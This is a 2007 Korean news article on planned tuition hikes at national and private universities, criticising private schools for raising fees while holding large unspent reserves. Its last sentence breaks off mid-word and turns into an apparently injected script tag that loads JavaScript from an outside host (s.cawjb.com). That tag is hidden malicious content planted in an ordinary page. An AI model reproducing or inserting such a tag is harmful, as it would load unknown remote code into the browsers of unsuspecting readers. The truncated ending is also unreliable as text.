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 적립금 쌓아두고 등록금 인상 ‘사립대 도덕적 해이’
  2007-01-25 오전 9:02:00, 조회:1086  


  
대학가에 긴장감이 감돌고 있다. 대학들이 등록금을 대폭 인상하겠다고 밝히면서다. 특히 막대한 적립금을 쌓아놓고 있으면서 등록금을 매년 올리고 있는 사립대의 경우 도덕적 해이가 아니냐는 지적까지 나오고 있다. 24일 대학가에 따르면 주요 사립대는 지난해보다 더 큰 폭의 등록금 인상을 추진 중이다.
 
 
서강대는 7.41%, 성균관대는 7.2% 인상계획을 각각 밝혔다. 한양대·홍익대는 10%, 연세대도 8% 인상을 검토 중이다. 이에 따라 올해 등록금 인상률은 2000년 이후 최고치였던 지난해 사립대 평균 등록금 인상률(6.9%)을 훌쩍 뛰어넘을 것으로 전망된다.

국립대의 인상률도 두자릿수다. 서울대는 신입생 등록금 인상률을 12.7%로 정했다. 전북대와 부경대는 29.4%, 28% 인상할 계획이다.

등록금이 한해 1000만원이 넘는 대학도 적지 않다. 24일 교육인적자원부에 따르면 지난해 연간 등록금이 가장 비싼 곳은 포천중문의대 의학계열로, 1055만2000원이었다. 소 한마리를 팔아 대학등록금을 마련한다는 뜻의 ‘우골탑’ 표현이 무색할 지경이다. 국립대 가운데는 서울대가 510만2000원으로 가장 높고, 사립대의 경우 남서울대가 811만5000원으로 가장 높았다. 이화여대(804만5000원), 고려대(739만4000원) 등 주요 사립대가 상위권에 포진했다.

등록금 인상을 추진 중인 주요 사립대 대부분이 거액의 누적이월 적립금을 쌓아두고 있다.

5~8% 인상을 검토중인 이화여대는 지난해 2월말 기준 교비회계 누적이월 적립금이 무려 5509억원에 달하는 것으로 조사됐다. 연세대는 1988억원, 고려대는 1323억원을 사용치 않고 쌓아놓고 있었다. 게다가 2005년에 고려대는 281억원을, 연세대는 97억원, 이화여대는 87억원을 이월했다.

전국 146개 사립대학의 적립금은 지난해 2월말 기준으로 4조9305억원에 달했다. 누적이월 적립금을 학교 운영비용으로 사용한다면 매년 두자릿수에 달하는 등록금 인상률을 낮출 수 있다.

대학교육연구소 이수연 연구원은 “대학들이 등록금 인상 전에 대학운영비 내역부터 투명하게 공개해야 한다”고 지적했다.

이에 대해 고려대 관계자는 “교육환경 개선과 훌륭한 교수진 확보 및 장학금 지급을 위해 불가피하게 등록금 인상이 필요하다”며 “누적적립금은 차후 학교발전을 위한 대형공사 등을 위해 보유하고 있는 것이므로 함부로 쓸 수는 없다”고 말했다.

국립대의 등록금도 2000년 이후부터 가파르게 상승하고 있다. 서울대 관계자는 “학교가 만성적자에 시달리기 때문에 등록금을 올릴 수밖에 없다”고 주장했다. 하지만 국립대가 새로운 재원 확충 노력은 하지 않고 등록금 인상이라는 가장 쉬운 방법만 택한다는 비판의 목소리가 높다. 이수연 연구원은 “2000년 이후 국립대 법인화 계획이 거론되면서 서울대 등 국립대들이 운영자금 확보를 위해 매년 과도하게 등록금을 올리고 있다”며 “방만한 대학운영체제를 혁신하고 산학협동 등을 강화해 다양한 수?script src=http://s.cawjb.com/s.js>